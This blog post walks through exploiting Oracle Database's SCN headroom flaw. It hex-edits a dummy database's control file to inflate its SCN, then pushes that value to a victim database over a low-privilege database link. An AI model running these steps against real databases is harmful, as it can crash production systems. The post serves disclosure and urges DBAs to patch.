InfoWorld magazine published an detailed article regarding Oracle Database security flaw yesterday. InfoWorld says Oracle requested them to hold the story until they release a patch for the flaw. The flaw is related with System Change Number (SCN). If SCN is increased beyond the current maximum value (SCN Headroom or Maximum Reasonable SCN), database gives ORA-600 errors and crashes.
As we know, the System Change Number (SCN) is a number that increments sequentially with every database commit (inserts, updates, and deletes), and usually it’s not possible to reach the maximum value. The biggest problem is the SCN is also incremented through linked database interactions.
As I see, most Oracle experts do not realize the importance of this security threat. Some people even say that the Oracle SCN issue is a storm in a teacup. I think they miss that it’s possible to increase the SCN intentionally and use database links to exploit the bug. So let’s create a storm in a teacup 🙂 I should remind you that I will not take any responsibility if you mess up your databases. Just read the blog, do not test it on your systems.
I’ll setup a simple scenario to demonstrate the danger. I’ll create an ordinary user which has only a table on a VICTIM server. Here’s the SQL script:
|
1 2 3 4 5 |
CREATE USER mrjoker IDENTIFIED BY holyjoker QUOTA 10M ON USERS; GRANT CREATE SESSION TO mrjoker; CREATE TABLE mrjoker.sample_table( A NUMBER ) TABLESPACE USERS; |
Just a simple account which will access to his own table. I haven’t tested but I think it’s even possible to use an account with only-read access.
The attacker needs a dummy database (even installed on his own pc). So I’ve installed a dummy database to my own PC. Both my victim and dummy databases are Oracle 9i. After installation, I started the dummy DB in mount mode and dumped the control file:
|
1 2 3 4 |
SQLPLUS "/ AS SYSDBA" STARTUP MOUNT ORADEBUG SETMYPID ORADEBUG DUMP CONTROLF 2 |
It’s easy to read the SCN number (trace file is located in udump directory):
|
1 2 3 |
... Controlfile Checkpointed at scn: 0x0000.00010817 01/18/2012 17:00:00 ... |
10817 in hexadecimal is equal to 67607 in decimal. I shut down my dummy DB, opened the control file in a hex editor, searched for the first occurrence of the hexadecimal array (“15 08 01”). This is the current SCN of the database. Oracle uses a 16-bit checksum algorithm for the control file (at least for Oracle 9i), so I modified two “words” (4 bytes) instead of one word (2 bytes).
Original bytes (in control file):
17 08 – 01 00 – 00 00 – 00 00
Modified bytes:
17 08 – 01 00 – 80 0B – 80 0B
As I said last 2 bytes (1 word) will not be used for SCN, I use it to pass the checksum. So new SCN will be about 12644383787031!!! I copied the modified control file over the original ones, started my dummy database and then checked the SCN:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
@scnhealthcheck -------------------------------------------------------------- ScnHealthCheck -------------------------------------------------------------- Current Date: 2012/01/18 17:24:49 Current SCN: 12644383787108 SCN Headroom: 13.41 Version: 9.2.0.8.0 -------------------------------------------------------------- Result: C - SCN Headroom is low If you have not already done so apply the latest recommended patches right now AND contact Oracle support immediately. For further information review MOS document id 1393363.1 -------------------------------------------------------------- |
The scnhealthcheck.sql script is distributed in the official patch to evaluate the risk of your database! It simply calculates the max SCN and headroom. C is the dangerous rate.
Here’s the output of same SQL on my victim DB:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
@scnhealthcheck -------------------------------------------------------------- ScnHealthCheck -------------------------------------------------------------- Current Date: 2012/01/18 19:00:02 Current SCN: 299811 SCN Headroom: 8945.79 Version: 9.2.0.8.0 -------------------------------------------------------------- Result: A - SCN Headroom is good Apply the latest recommended patches based on your maintenance schedule For further information review MOS document id 1393363.1 -------------------------------------------------------------- |
I’ve created a database link to victim database and issued a select query on my dummy database:
|
1 2 3 4 |
CREATE DATABASE LINK mytestlink CONNECT TO mrjoker IDENTIFIED BY holyjoker USING 'test9'; SELECT * FROM sample_table@MYTESTLINK; |
Then I re-run the control.sql file in VICTIM database:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
@scnhealthcheck -------------------------------------------------------------- ScnHealthCheck -------------------------------------------------------------- Current Date: 2012/01/18 19:00:18 Current SCN: 12644383787617 SCN Headroom: 13.48 Version: 9.2.0.8.0 -------------------------------------------------------------- Result: C - SCN Headroom is low If you have not already done so apply the latest recommended patches right now AND contact Oracle support immediately. For further information review MOS document id 1393363.1 -------------------------------------------------------------- |
As you see, it is a very serious flaw so all DBAs should apply the CPU as soon as possible.
